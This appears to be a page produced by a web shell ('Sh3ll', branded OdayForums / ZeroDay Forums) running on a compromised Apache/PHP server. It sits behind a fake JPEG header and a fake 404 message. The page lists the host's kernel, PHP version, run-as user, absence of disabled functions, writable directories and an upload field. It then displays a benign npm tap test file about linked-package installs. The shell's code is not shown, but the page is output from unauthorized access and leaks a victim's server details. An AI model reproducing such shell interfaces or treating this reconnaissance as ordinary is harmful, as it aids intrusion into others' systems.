����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/ignore-install-link.js
if (process.platform === 'win32') {
  require('tap').plan(0, 'symlinks are weird on windows, skip this test')
  process.exit(0)
}
var common = require('../common-tap.js')
var test = require('tap').test
var path = require('path')
var fs = require('fs')
var rimraf = require('rimraf')
var mkdirp = require('mkdirp')

var root = common.pkg
var pkg = path.resolve(root, 'pkg')
var dep = path.resolve(root, 'dep')
var target = path.resolve(pkg, 'node_modules', 'dep')
var cache = common.cache
var globalPath = path.resolve(root, 'global')

var pkgj = {
  'name': 'pkg',
  'version': '1.2.3',
  'dependencies': {
    'dep': '1.2.3'
  }
}
var depj = { 'name': 'dep', 'version': '1.2.3' }

var myreg = require('http').createServer(function (q, s) {
  s.statusCode = 403
  s.end(JSON.stringify({'error': 'forbidden'}) + '\n')
}).listen(common.port)

test('setup', function (t) {
  rimraf.sync(root)
  mkdirp.sync(root)
  mkdirp.sync(path.resolve(pkg, 'node_modules'))
  mkdirp.sync(dep)
  mkdirp.sync(cache)
  mkdirp.sync(globalPath)
  fs.writeFileSync(path.resolve(pkg, 'package.json'), JSON.stringify(pkgj))
  fs.writeFileSync(path.resolve(dep, 'package.json'), JSON.stringify(depj))
  fs.symlinkSync(dep, target, 'dir')
  t.end()
})

test('ignore install if package is linked', function (t) {
  common.npm(['install'], {
    cwd: pkg,
    env: {
      PATH: process.env.PATH || process.env.Path,
      HOME: process.env.HOME,
      'npm_config_prefix': globalPath,
      'npm_config_cache': cache,
      'npm_config_registry': common.registry,
      'npm_config_loglevel': 'silent'
    },
    stdio: 'inherit'
  }, function (er, code) {
    if (er) throw er
    t.equal(code, 0, 'npm install exited with code')
    t.end()
  })
})

test('still a symlink', function (t) {
  t.equal(true, fs.lstatSync(target).isSymbolicLink())
  t.end()
})

test('cleanup', function (t) {
  rimraf.sync(root)
  myreg.close()
  t.end()
})

ZeroDay Forums Mini